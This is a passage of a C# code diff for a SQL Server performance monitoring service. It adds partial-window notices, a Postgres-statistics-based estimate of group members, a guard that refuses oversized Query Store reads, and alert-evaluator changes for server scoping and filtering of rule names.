+    /// wait_stats panel is complete on raw, and a notice there would be a false alarm. When this returns null,
+    /// the runner asks where the panel's own rows start instead (<see cref="BuildDataStartNoticeAsync"/>), which
+    /// covers those sources, a store with no rollups, and one server whose rows start later than the rest.
     ///
     /// <para><b>MEASURED beats assumed (#1759).</b> The retention SPAN is only a proxy for how far a tier
     /// reaches, and on the stores #1759 is about it is the wrong proxy in the dangerous direction: their raw
@@ -269,6 +274,7 @@ so GetMeasuredRollupsAsync can refuse to route on it. */
         switch (route.Tier)
         {
             case ComposeSourceTier.Raw:
+            case ComposeSourceTier.HourlyRawEdges:
                 retained = TimescaleSupport.RawRetentionSpan;
                 tierName = "raw";
                 measuredOldest = RollupCoverage.RawTableFor(cagg.HourlyView) is string rawTable
@@ -314,6 +320,135 @@ longer reads "reaches back about 1 days". */
             $"partial window: this panel read the {tierName} tier, which on this store reaches back about {heldText} day{(heldText == "1" ? "" : "s")}, but the requested window starts {windowText} day{(windowText == "1" ? "" : "s")} back — older points are not included.");
     }
 
+    /// <summary>
+    /// The "partial window" notice for a panel whose coverage starts after its window does, or null when coverage
+    /// reaches the window's start (whether or not the window holds rows), when no server in scope holds a row or
+    /// logged a run in the window, when the window lies wholly before the coverage (the run log outlives the table,
+    /// so a logged run makes a server count in a window whose rows are purged; its coverage then starts after the
+    /// window ends and there is none to report), or when the probe fails (a failed probe costs the panel its notice,
+    /// never its chart; a caller that cancelled still sees the cancellation). Coverage is read per server for the relations
+    /// the panel read (<see cref="DataStartSources"/>): the later of the server's first collection and the table's
+    /// retention edge, moved earlier by any row it holds in the window; for a source the schedule gives no edge
+    /// (a rollup, the raw relations the gated purge owns, a baseline-floored collector) the oldest row the server
+    /// holds at or before the window's end (<see cref="DataWindowFloor"/>). It names no cause: retention and a
+    /// server added last week truncate the same way.
+    /// The same <see cref="RawWindowFloor.IsTruncated"/> slack the Queries tab's "Showing since" banner uses
+    /// decides, so the two surfaces call the same window cut.
+    ///
+    /// <para>A probe that fails is reported through <paramref name="logger"/> at Debug, with the exception: the panel
+    /// is still answered (only its notice is lost), and this runs once per panel run, so a standing fault at Warning
+    /// would put a line in the service log on every refresh of every panel. That is also the level, and the logger,
+    /// the runner's read-latency recording uses for a failure that never fails the request. Null reports nothing.</para>
+    /// </summary>
+    internal static async Task<string?> BuildDataStartNoticeAsync(
+        NpgsqlDataSource postgres, string sourceTable, ComposeRoute route, IReadOnlyList<string>? servers,
+        DateTime windowStartUtc, DateTime windowEndUtc, int commandTimeoutSeconds, CancellationToken cancellationToken,
+        ILogger? logger = null) =>
+        (await FindDataStartNoticeAsync(
+            postgres, sourceTable, route, servers, windowStartUtc, windowEndUtc, commandTimeoutSeconds, cancellationToken, logger))?.Text;
+
+    /// <summary>
+    /// The notice <see cref="BuildDataStartNoticeAsync"/> builds, with the instant it names (#4966): the run's answer
+    /// carries that instant beside the sentence, so the page can write the sentence again in the browser's zone. Null
+    /// exactly when <see cref="BuildDataStartNoticeAsync"/> is.
+    /// </summary>
+    internal readonly record struct DataStartNotice(string Text, DateTime DataStartUtc);
+
+    /// <summary><see cref="BuildDataStartNoticeAsync"/>, answering the instant the notice names as well as its text.</summary>
+    internal static async Task<DataStartNotice?> FindDataStartNoticeAsync(
+        NpgsqlDataSource postgres, string sourceTable, ComposeRoute route, IReadOnlyList<string>? servers,
+        DateTime windowStartUtc, DateTime windowEndUtc, int commandTimeoutSeconds, CancellationToken cancellationToken,
+        ILogger? logger = null)
+    {
+        var sources = DataStartSources(sourceTable, route);
+        if (sources.Count == 0)
+        {
+            return null;
+        }
+
+        DateTime? dataStart;
+        try
+        {
+            dataStart = await DataWindowFloor.GetAsync(postgres, sources, servers, windowStartUtc, windowEndUtc, commandTimeoutSeconds, cancellationToken);
+        }
+        catch (Exception ex) when (!cancellationToken.IsCancellationRequested)
+        {
+            logger?.LogDebug(ex, "The data-start probe for a composed panel over {SourceTable} failed; the panel is answered without a partial-window notice.", sourceTable);
+            return null;
+        }
+
+        return RawWindowFloor.IsTruncated(dataStart, windowStartUtc)
+            ? new DataStartNotice(BuildDataStartNotice(dataStart!.Value, windowStartUtc, windowEndUtc), dataStart.Value)
+            : null;
+    }
+
+    /// <summary>The text of <see cref="BuildDataStartNoticeAsync"/>'s notice: where the data starts, where the
+    /// window started, and the window the panel really covers, all in UTC.</summary>
+    internal static string BuildDataStartNotice(DateTime dataStartUtc, DateTime windowStartUtc, DateTime windowEndUtc) =>
+        string.Create(
+            CultureInfo.InvariantCulture,
+            $"partial window: this panel's data starts at {dataStartUtc:yyyy-MM-dd HH:mm} UTC, after the window's start at {windowStartUtc:yyyy-MM-dd HH:mm} UTC. The panel covers {dataStartUtc:yyyy-MM-dd HH:mm} to {windowEndUtc:yyyy-MM-dd HH:mm} UTC.");
+
+    /// <summary>The notice for a newest-first list that hit its row cap (#4966): the grid shows the newest rows back to
+    /// <paramref name="oldestShownUtc"/> and stops there because of its row limit, whatever the store holds before it.
+    /// The window's start and end are in UTC like <see cref="BuildDataStartNotice"/>'s, and the sentence keeps its
+    /// "partial window:" opening, so the page draws both the same way. It makes no claim about the store: the
+    /// rows before that time may exist, and the grid does not show them.</summary>
+    internal static string BuildCappedListNotice(DateTime oldestShownUtc, DateTime windowStartUtc, DateTime windowEndUtc) =>
+        string.Create(
+            CultureInfo.InvariantCulture,
+            $"partial window: this grid shows only the newest rows, back to {oldestShownUtc:yyyy-MM-dd HH:mm} UTC, because it stops at its row limit. The window started at {windowStartUtc:yyyy-MM-dd HH:mm} UTC. The grid covers {oldestShownUtc:yyyy-MM-dd HH:mm} to {windowEndUtc:yyyy-MM-dd HH:mm} UTC.");
+
+    /// <summary>
+    /// The relations a compiled panel read, as data-start probe sources: the raw table on a raw route (none when
+    /// the probe cannot read it by index, <see cref="DataWindowFloor.Source.TryForCollectorTable"/>), or each rollup
+    /// a rollup route's FROM clause names, both halves when the route stitches a superseded rollup to its
+    /// successor. Read off the FROM clause the router built (<see cref="ComposeRoute.CaggFromClause"/>, set on every
+    /// rollup route, the day-grain daily included), so the probe asks about exactly what the panel read, and each
+    /// name is checked against the rollup registry (<see cref="DataWindowFloor.Source.TryForRollup"/>) before the
+    /// probe splices it. Each half is probed within the bounds the route reads it. The superseded half is probed
+    /// whole: the route reads it below the stitch boundary, and its oldest bucket is where the stitched read starts.
+    /// The successor is probed from the boundary up (<see cref="ComposeRoute.StitchBoundaryUtc"/>, the value the
+    /// router carried, never read out of the clause text), because that is all the route reads of it: a bucket it
+    /// holds below the boundary (a wide refresh after the boundary was measured) cannot move the start earlier.
+    /// The successor is the clause's relation the registry names as another one's successor, so the bound does not
+    /// depend on the order the clause lists them in. A rollup route without a FROM clause is a router defect, and
+    /// throws: there is no relation name to fall back to that is known to be the one the panel read.
+    /// </summary>
+    internal static IReadOnlyList<DataWindowFloor.Source> DataStartSources(string sourceTable, ComposeRoute route)
+    {
+        if (!route.IsCagg)
+        {
+            return DataWindowFloor.Source.TryForCollectorTable(sourceTable, out var raw) ? [raw] : [];
+        }
+
+        var fromClause = route.CaggFromClause
+            ?? throw new ArgumentException("a rollup route carries the FROM clause the router built; the data-start probe reads the relations it names off that clause.", nameof(route));
+        var relations = s_collectRelation.Matches(fromClause).Select(m => m.Groups[1].Value).Distinct(StringComparer.Ordinal).ToList();
+        var sources = new List<DataWindowFloor.Source>();
+        foreach (var relation in relations)
+        {
+            DateTime? lowerBound = route.StitchBoundaryUtc is { } boundary && IsSuccessorOfAnother(relation, relations) ? boundary : null;
+            if (DataWindowFloor.Source.TryForRollup(relation, out var rollup, lowerBound))
+            {
+                sources.Add(rollup);
+            }
+        }
+
+        return sources;
+    }
+
+    /* The registry's pairs: an hourly legacy and its successor (TimescaleSupport.SuccessorOf), a daily legacy and its
+       successor daily (TimescaleSupport.SupersededDailyRollups). */
+    private static bool IsSuccessorOfAnother(string relation, IReadOnlyList<string> clauseRelations) =>
+        clauseRelations.Any(other =>
+            string.Equals(TimescaleSupport.SuccessorOf(other), relation, StringComparison.Ordinal)
+            || TimescaleSupport.SupersededDailyRollups.Any(p =>
+                string.Equals(p.LegacyDaily, other, StringComparison.Ordinal) && string.Equals(p.SuccessorDaily, relation, StringComparison.Ordinal)));
+
+    private static readonly Regex s_collectRelation =
+        new(@"\b" + Regex.Escape(PgSchemaGenerator.CollectSchema) + @"\.([a-z_][a-z0-9_]*)\b", RegexOptions.CultureInvariant);
+
     /// <summary>
     /// The row-cap sibling of <see cref="BuildRetentionNotice"/> (#1687): a time-series panel whose
     /// (buckets × groups) product exceeds <see cref="ComposeLimits.HardRowCap"/> is truncated by the
diff --git a/Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreGroupMembers.cs b/Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreGroupMembers.cs
new file mode 100644
index 0000000000..8314c00dae
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreGroupMembers.cs
@@ -0,0 +1,157 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #5582: how many members the group dimension of a Query Store RankedTimeSeries panel has, so the compiler can bound the
+/// single-scan base CTE (buckets x members rows, at about 436 bytes of temp file each) before it picks that shape
+/// (<see cref="ComposeLimits.MaxSingleScanBaseRows"/>). One lookup, on the connection the wide-table eligibility check already holds.
+///
+/// <para>For <c>server</c> the count is exact: the servers in scope. For <c>database_name</c> and <c>module_name</c> it is
+/// <c>pg_stats.n_distinct</c> of the wide parent (<c>inherited = true</c> when the parent is partitioned, since a partitioned
+/// parent holds no rows of its own and its statistics are the inherited ones). A negative <c>n_distinct</c> is a fraction of the
+/// rows, so it is multiplied by <c>pg_class.reltuples</c>. That counts all retention, not the window, which would err high; but
+/// <c>n_distinct</c> comes from a sample of the table, and for a column with a long tail of rare values a sample misses most of
+/// the tail, so the estimate runs LOW, and for a window it can run low by more than retention runs high. A low guess picks the
+/// single scan on a panel whose hash aggregate can pass the 1 GB <c>temp_file_limit</c> and fail it. Each <c>n_distinct</c>-derived
+/// count is therefore multiplied by <see cref="NDistinctSafetyFactor"/> before the product. No statistics row, or a parent never
+/// analyzed, is unknown, and so is any dimension that cannot be bounded this way (<c>query_hash</c>); unknown compiles two scans.</para>
+///
+/// <para>Why 4: <see cref="ComposeLimits.MaxSingleScanBaseRows"/> is 1.0 M rows at about 436 bytes each, about 436 MB, which sits
+/// about 2.4x under the 1 GB temp limit. A factor of 4 on the member guess lifts a guess that is up to about 9x low (4 x 2.4)
+/// above the limit's reach, and the choice stays safe. Field numbers on a large store (78.56 M rows, one day of 8.71 M rows):
+/// <c>module_name</c> estimated 638 against 1,113 real for the day (1.7x low); <c>query_hash</c> estimated 12,186 against
+/// 91,937 (7.5x low; not used here, it is already unknown); <c>database_name</c> estimated 132, and the
+/// <c>(database_name, module_name)</c> pair 52,970 real against a product of estimates of 84,216. The server count is exact and
+/// takes no factor.</para>
+/// </summary>
+internal static class QueryStoreGroupMembers
+{
+    /// <summary>The table the members are counted on: the wide table, a plain table before V171 and a partitioned parent after it.</summary>
+    internal const string WideTable = "query_store_interval_wide";
+
+    /// <summary>#5582: the multiplier on every member count that comes from <c>pg_stats.n_distinct</c>, per dimension, before the product.
+    /// A sampled <c>n_distinct</c> runs low for a long-tailed column (1.7x low in the field for <c>module_name</c>); 4 keeps the choice safe
+    /// to an estimate about 9x low. See the type summary.</summary>
+    internal const double NDistinctSafetyFactor = 4d;
+
+    /// <summary>One group dimension's member count before the factor: <see cref="Value"/> is null when unknown, and
+    /// <see cref="FromNDistinct"/> says it is a <c>pg_stats</c> estimate (factored) rather than exact (the server count).</summary>
+    internal readonly record struct MemberCount(double? Value, bool FromNDistinct);
+
+    /// <summary>The <c>n_distinct</c> of column <c>$1</c> on table <c>$2</c> of the <c>collect</c> schema, and that table's <c>reltuples</c>.
+    /// No row: no statistics. The <c>inherited</c> flag follows the table's kind: true for a partitioned parent, false for a plain table.</summary>
+    internal const string NDistinctSql = @"
+SELECT s.n_distinct::double precision, c.reltuples::double precision
+FROM pg_catalog.pg_class AS c
+JOIN pg_catalog.pg_namespace AS n ON n.oid = c.relnamespace
+JOIN pg_catalog.pg_stats AS s
+  ON s.schemaname = n.nspname
+ AND s.tablename = c.relname
+ AND s.attname = $1
+ AND s.inherited = (c.relkind = 'p')
+WHERE n.nspname = 'collect'
+  AND c.relname = $2;";
+
+    /// <summary>
+    /// The members of the plan's group dimensions (the product when there are several), or null when unknown. Never throws except for
+    /// cancellation: a fault leaves it unknown, which compiles the two-scan text.
+    /// </summary>
+    internal static async Task<long?> ResolveAsync(
+        NpgsqlConnection connection, PanelPlan plan, int serversInScope, CancellationToken cancellationToken)
+    {
+        if (plan.Mode != PanelMode.RankedTimeSeries)
+        {
+            return null;
+        }
+
+        try
+        {
+            var counts = new List<MemberCount>();
+            foreach (var dimension in plan.GroupBy)
+            {
+                if (dimension.ViaModuleJoin || dimension.TrailingSpaceHistory)
+                {
+                    return null;
+                }
+
+                if (string.Equals(dimension.Name, MeasureCatalog.ServerDimensionName, StringComparison.Ordinal))
+                {
+                    counts.Add(new MemberCount(serversInScope, false));
+                }
+                else if (string.Equals(dimension.Column, "database_name", StringComparison.Ordinal)
+                    || string.Equals(dimension.Column, "module_name", StringComparison.Ordinal))
+                {
+                    counts.Add(new MemberCount(await NDistinctMembersAsync(connection, dimension.Column, cancellationToken), true));
+                }
+                else
+                {
+                    return null;
+                }
+            }
+
+            return Combine(counts);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            ReadScope.Current?.Logger?.LogDebug(ex, "The #5582 Query Store group-member count could not be read; the panel compiles the two-scan text.");
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// The product of the dimensions' member counts, each <c>n_distinct</c>-derived one multiplied by <see cref="NDistinctSafetyFactor"/>
+    /// first, or null when any is unknown (null or under one). No store needed.
+    /// </summary>
+    internal static long? Combine(IEnumerable<MemberCount> counts)
+    {
+        var product = 1d;
+        foreach (var count in counts)
+        {
+            if (count.Value is not { } known || known < 1d)
+            {
+                return null;
+            }
+
+            product *= count.FromNDistinct ? known * NDistinctSafetyFactor : known;
+        }
+
+        return (long)Math.Ceiling(Math.Min(product, long.MaxValue / 4d));
+    }
+
+    /// <summary>One column's member count from <c>pg_stats</c>, or null when there is no statistics row or no usable <c>reltuples</c>.</summary>
+    internal static async Task<double?> NDistinctMembersAsync(NpgsqlConnection connection, string column, CancellationToken cancellationToken, string table = WideTable)
+    {
+        await using var command = new NpgsqlCommand(NDistinctSql, connection) { CommandTimeout = McpCommandDeadlines.ReadSeconds };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Name, Value = column });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Name, Value = table });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken) || reader.IsDBNull(0))
+        {
+            return null;
+        }
+
+        var nDistinct = reader.GetDouble(0);
+        if (nDistinct >= 0d)
+        {
+            return nDistinct;
+        }
+
+        var reltuples = reader.IsDBNull(1) ? -1d : reader.GetDouble(1);
+        return reltuples > 0d ? -nDistinct * reltuples : null;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreWideReadGuard.cs b/Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreWideReadGuard.cs
new file mode 100644
index 0000000000..30dce3968c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreWideReadGuard.cs
@@ -0,0 +1,178 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #5582: refuses, before it runs, a composed Query Store panel that would read more of
+/// <c>collect.query_store_interval_wide</c> than the compose statement timeout allows. A one-day read across 43 servers
+/// read 8,457,483 rows (9.2 GB) in 48 to 55 s cold against a 60 s timeout, so a fleet-wide panel over a longer window (or a
+/// RankedTimeSeries panel that read the rows twice) ran to the timeout and failed after a minute of wasted work.
+/// A refusal in milliseconds, with a message that says what to change, is the better answer.
+///
+/// <para>The estimate is a per-server daily row count from the #5094 daily summary's built table
+/// (<c>collect.query_store_top_daily_built.source_rows</c>, a few hundred rows in all): for each server in scope its most
+/// recent built day's rows, times the length of the range the read will count, in days. A server with no built day adds
+/// nothing: with no data the guard never refuses (it fails open), and so does any fault in the lookup.</para>
+///
+/// <para>The counted range is an INPUT of <see cref="EstimateAsync"/> and <see cref="Refusal"/>, not the window: a later
+/// change that leaves only the newest hours on the wide table passes the hours the wide table will still be read for.</para>
+/// </summary>
+internal static class QueryStoreWideReadGuard
+{
+    /// <summary>
+    /// The servers in scope ($1 the scoped names, or NULL for the fleet) that have a built day, each with its most recent
+    /// built day's <c>source_rows</c>. Returns the sum and the number of servers that contributed. No <c>is_enabled</c> predicate: the
+    /// compiled wide read (ComposeCompiler.BuildFactRelation) joins <c>collect.servers</c> on <c>server_id</c> with none, so it reads a
+    /// disabled server's retained rows too, and the estimate counts the servers the read takes.
+    /// </summary>
+    internal const string PerServerRowsSql = @"
+SELECT COALESCE(SUM(b.source_rows), 0)::bigint, COUNT(*)::integer
+FROM collect.servers AS s
+CROSS JOIN LATERAL
+(
+    SELECT d.source_rows
+    FROM collect.query_store_top_daily_built AS d
+    WHERE d.server_id = s.server_id
+    ORDER BY d.day DESC
+    LIMIT 1
+) AS b
+WHERE ($1::text[] IS NULL OR s.server_name = ANY($1));";
+
+    /// <summary>The rows one day of the servers in scope holds on the wide table, and how many servers that sums.</summary>
+    internal readonly record struct Estimate(long DailyRows, int Servers)
+    {
+        /// <summary>The wide-table rows a read over the counted range is expected to take.</summary>
+        public long RowsOver(DateTime countedStart, DateTime countedEnd) => RowsOver(countedStart, countedEnd, null);
+
+        /// <summary>
+        /// The wide-table rows a read over the counted range is expected to take, in equivalent rows (#5582). The hours in
+        /// <c>[countedStart, stampThrough)</c> are served from the compose stamp's rollup and count at
+        /// <see cref="ComposeLimits.StampRowWeight"/> per wide row; the rest, the tail the stamp has not reached, counts at 1.0.
+        /// With no <paramref name="stampThrough"/> every hour counts at 1.0, which is the figure before the stamp existed.
+        /// </summary>
+        public long RowsOver(DateTime countedStart, DateTime countedEnd, DateTime? stampThrough)
+        {
+            var days = Math.Max(0d, (countedEnd - countedStart).TotalDays);
+            if (stampThrough is not { } through)
+            {
+                return (long)Math.Ceiling(DailyRows * days);
+            }
+
+            var stampedDays = Math.Clamp((through - countedStart).TotalDays, 0d, days);
+            var weighted = (days - stampedDays) + (stampedDays * ComposeLimits.StampRowWeight);
+            return (long)Math.Ceiling(DailyRows * weighted);
+        }
+    }
+
+    /// <summary>
+    /// Reads the estimate for the servers in <paramref name="serverScope"/> (null or empty: the fleet). Returns null on any fault
+    /// other than cancellation, so a lookup that cannot answer never refuses a panel.
+    /// </summary>
+    internal static async Task<Estimate?> EstimateAsync(
+        NpgsqlDataSource postgres, IReadOnlyList<string>? serverScope, ILogger? logger, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+            await using var command = new NpgsqlCommand(PerServerRowsSql, connection) { CommandTimeout = McpCommandDeadlines.ReadSeconds };
+            command.Parameters.Add(new NpgsqlParameter
+            {
+                NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text,
+                Value = serverScope is { Count: > 0 } ? (object)serverScope.ToArray() : DBNull.Value,
+            });
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (!await reader.ReadAsync(cancellationToken))
+            {
+                return null;
+            }
+
+            return new Estimate(reader.GetInt64(0), reader.GetInt32(1));
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogDebug(ex, "The #5582 Query Store wide-read estimate could not be read; the panel runs without it.");
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// The refusal for a read of <paramref name="countedStart"/>..<paramref name="countedEnd"/> on the wide table, or null when the
+    /// estimate is under <paramref name="limit"/> (or there is no estimate). In the style of the <see cref="ComposeLimits.MaxBuckets"/>
+    /// refusal: it says how big the read is and what to change. With <paramref name="stampThrough"/> the figure is weighted
+    /// (<see cref="Estimate.RowsOver(DateTime, DateTime, DateTime?)"/>), so it is not a row count and the message does not call it one:
+    /// it says the read is too big for the time limit, for these servers and this window, and what to change.
+    /// </summary>
+    internal static string? Refusal(
+        Estimate? estimate, DateTime countedStart, DateTime countedEnd, long limit = ComposeLimits.MaxQueryStoreWideRows,
+        DateTime? stampThrough = null)
+    {
+        if (estimate is not { } found || found.Servers == 0)
+        {
+            return null;
+        }
+
+        var rows = found.RowsOver(countedStart, countedEnd, stampThrough);
+        if (rows <= limit)
+        {
+            return null;
+        }
+
+        if (stampThrough is not null)
+        {
+            return $"This panel reads too much Query Store history to finish inside the time limit ({Servers(found.Servers)}, {Window(countedEnd - countedStart)}). "
+                + "Choose fewer servers or a shorter window.";
+        }
+
+        var million = (rows / 1_000_000d).ToString("0.#", CultureInfo.InvariantCulture);
+        var limitMillion = (limit / 1_000_000d).ToString("0.#", CultureInfo.InvariantCulture);
+        return $"This panel needs about {million} million Query Store rows ({Servers(found.Servers)}, {Window(countedEnd - countedStart)}), "
+            + $"over the limit of {limitMillion} million. Choose fewer servers or a shorter window.";
+    }
+
+    /// <summary>The guard end to end: estimate, then refuse. Null means the panel runs.</summary>
+    internal static async Task<string?> CheckAsync(
+        NpgsqlDataSource postgres, IReadOnlyList<string>? serverScope, DateTime countedStart, DateTime countedEnd,
+        ILogger? logger, CancellationToken cancellationToken, long limit = ComposeLimits.MaxQueryStoreWideRows,
+        DateTime? stampThrough = null) =>
+        Refusal(await EstimateAsync(postgres, serverScope, logger, cancellationToken), countedStart, countedEnd, limit, stampThrough);
+
+    /// <summary>
+    /// The limit for a panel (#5582): <see cref="ComposeLimits.MaxQueryStoreWideRows"/> is the rows ONE scan of the wide table can read
+    /// inside the statement timeout, so a RankedTimeSeries panel that still scans the fact rows twice (a <c>query_hash</c> group, a
+    /// series past <see cref="ComposeLimits.MaxSingleScanBuckets"/> buckets, or a bucket x member product past
+    /// <see cref="ComposeLimits.MaxSingleScanBaseRows"/>) gets <see cref="ComposeLimits.MaxQueryStoreWideRowsTwoScans"/>, which is
+    /// measured on the second scan being warm, not half of the one-scan figure.
+    /// </summary>
+    internal static long LimitFor(bool scansFactRowsTwice) =>
+        scansFactRowsTwice ? ComposeLimits.MaxQueryStoreWideRowsTwoScans : ComposeLimits.MaxQueryStoreWideRows;
+
+    private static string Servers(int count) => count == 1 ? "1 server" : $"{count.ToString(CultureInfo.InvariantCulture)} servers";
+
+    private static string Window(TimeSpan span)
+    {
+        var hours = (long)Math.Round(span.TotalHours);
+        if (hours >= 24 && hours % 24 == 0)
+        {
+            var days = hours / 24;
+            return days == 1 ? "1 day" : $"{days.ToString(CultureInfo.InvariantCulture)} days";
+        }
+
+        return hours == 1 ? "1 hour" : $"{hours.ToString(CultureInfo.InvariantCulture)} hours";
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs b/Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs
index 43d776040b..a2db3fb743 100644
--- a/Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs
@@ -18,6 +18,7 @@
 using Npgsql;
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Notifications;
 
@@ -303,11 +304,15 @@ operator wrote was one of the paths that could still page through a fleet-wide m
         }
 
         var now = DateTime.UtcNow;
+        /* #5525: the scope lookup is per server, not per rule, so it runs once here and every rule below reuses the answer (an empty list
+           means looked up, nothing unregistered). A fault answers with the storage name itself, the safe fallback the lookup documents. */
+        var unregistered = await ComposeServerScope.FindUnregisteredAsync(_viewer, new[] { storageName }, cancellationToken, _logger)
+            ?? (IReadOnlyList<string>)Array.Empty<string>();
         foreach (var (row, def, _) in applicable)
         {
             try
             {
-                await EvaluateRuleForServerAsync(row, def, serverId, storageName, displayName, now, rollups, coverage, composedSeconds, cancellationToken);
+                await EvaluateRuleForServerAsync(row, def, serverId, storageName, displayName, now, rollups, coverage, composedSeconds, unregistered, cancellationToken);
             }
             catch (OperationCanceledException)
             {
@@ -355,7 +360,8 @@ internal static bool CadenceIsWaiting(DateTime? nextDueAt, DateTime now, TimeSpa
 
     private async Task EvaluateRuleForServerAsync(
         CustomAlertRule row, CustomAlertRuleDefinition def, int serverId, string storageName, string displayName,
-        DateTime now, RollupAvailability rollups, RollupCoverage coverage, int composedSeconds, CancellationToken cancellationToken)
+        DateTime now, RollupAvailability rollups, RollupCoverage coverage, int composedSeconds,
+        IReadOnlyList<string> unregistered, CancellationToken cancellationToken)
     {
         var state = await _stateStore.LoadAsync(row.Id, serverId, row.Version, cancellationToken);
 
@@ -368,7 +374,7 @@ private async Task EvaluateRuleForServerAsync(
 
         var nextDue = now.AddSeconds(intervalSeconds);
 
-        var value = await RunScalarAsync(def, storageName, now, rollups, coverage, composedSeconds, cancellationToken);
+        var value = await RunScalarAsync(def, storageName, now, rollups, coverage, composedSeconds, unregistered, cancellationToken);
 
         if (value is null)
         {
@@ -522,8 +528,8 @@ private bool RecordSendResult(CustomAlertRule row, int serverId, string displayN
 
     private Task<double?> RunScalarAsync(
         CustomAlertRuleDefinition def, string storageName, DateTime now, RollupAvailability rollups, RollupCoverage coverage,
-        int composedSeconds, CancellationToken cancellationToken) =>
-        EvaluateScalarNowAsync(_viewer, def, storageName, now, rollups, coverage, composedSeconds, _logger, cancellationToken);
+        int composedSeconds, IReadOnlyList<string> unregistered, CancellationToken cancellationToken) =>
+        EvaluateScalarNowAsync(_viewer, def, storageName, now, rollups, coverage, composedSeconds, _logger, cancellationToken, unregistered);
 
     /// <summary>
     /// Compiles the rule's Scalar metric scoped to ONE server and reads its current value on the given
@@ -534,15 +540,21 @@ private bool RecordSendResult(CustomAlertRule row, int serverId, string displayN
     /// <para><b>Pool discipline (Component 4 R2-SEC):</b> <paramref name="pool"/> MUST be a least-privilege role
     /// that carries the <c>statement_timeout</c> cap and the secret-column ACL — the worker's dedicated viewer
     /// pool on the sweep, or the MCP host's mcp-role pool from the tool — NEVER the owner/superuser pool.</para>
+    /// <para><paramref name="resolvedUnregistered"/> (#5525): the sweep looks up once per server which of the scoped names the registry
+    /// does not hold and passes the answer (an empty list for none) to every rule; the evaluate-now tool passes null and the lookup
+    /// runs here.</para>
     /// </summary>
     public static async Task<double?> EvaluateScalarNowAsync(
         NpgsqlDataSource pool, CustomAlertRuleDefinition definition, string storageName, DateTime nowUtc,
         RollupAvailability rollups, RollupCoverage coverage, int composedQuerySeconds,
-        ILogger? logger, CancellationToken cancellationToken)
+        ILogger? logger, CancellationToken cancellationToken, IReadOnlyList<string>? resolvedUnregistered = null)
     {
         var start = nowUtc.AddHours(-definition.WindowHours);
+        var servers = new[] { storageName };
+        /* #5525: the compiler scopes by server_id; a storage name with no registry row keeps matching on the row's stored name. */
+        var unregistered = resolvedUnregistered ?? await ComposeServerScope.FindUnregisteredAsync(pool, servers, cancellationToken, logger);
         var context = new ComposeRunContext(
-            new[] { storageName }, start, nowUtc, ComposeRunContext.NoVariables, rollups, nowUtc, coverage);
+            servers, start, nowUtc, ComposeRunContext.NoVariables, rollups, nowUtc, coverage, UnregisteredServers: unregistered);
 
         var (compiled, compileError) = ComposeCompiler.Compile(definition.Plan, context);
         if (compileError is not null || compiled is null)
@@ -643,6 +655,15 @@ public static AlertOutcome BuildFireOutcome(
             DisplayName: safeName);
     }
 
+    /// <summary>
+    /// A rule's operator-typed name, judged by the statement filter (#5320, L4 of #5360). The name rides a resolution
+    /// row's title (the history row's metric_name) and, on the teardown row, its message; both rows go out to the
+    /// history store, so the name is judged there like the display name of a fired alert. The local log line and the
+    /// server name stay as they are (the log never leaves the machine; the server name is a routing key). The
+    /// " Resolved" suffix is added after the judgment, so a withheld name still reads as a resolution.
+    /// </summary>
+    internal static string JudgedRuleName(string safeName) => SensitiveStatements.Text(safeName) ?? safeName;
+
     private async Task DeliverResolveAsync(CustomAlertRule row, int serverId, string displayName, double value)
     {
         var metricName = MetricNameFor(row.Id);
@@ -651,11 +672,12 @@ private async Task DeliverResolveAsync(CustomAlertRule row, int serverId, string
            and its Message becomes detail_text, so a crafted rule name must be newline-stripped + capped here
            too or it re-opens the mute-pre-fill spoof on the recovery row. */
         var safeName = SanitizeDisplayText(row.Name, CustomAlertRuleStore.MaxNameLength);
-        var title = safeName + " Resolved";
+        var title = JudgedRuleName(safeName) + " Resolved";
         var message = string.Create(CultureInfo.InvariantCulture,
             $"{displayName}: {safeName} back within threshold (now {value:0.###})");
 
-        _logger.LogInformation("{Line}", AlertFiringLog.Resolved(displayName, title, message));
+        /* The local log line keeps the name as typed (L4, #5360): it never leaves the machine. */
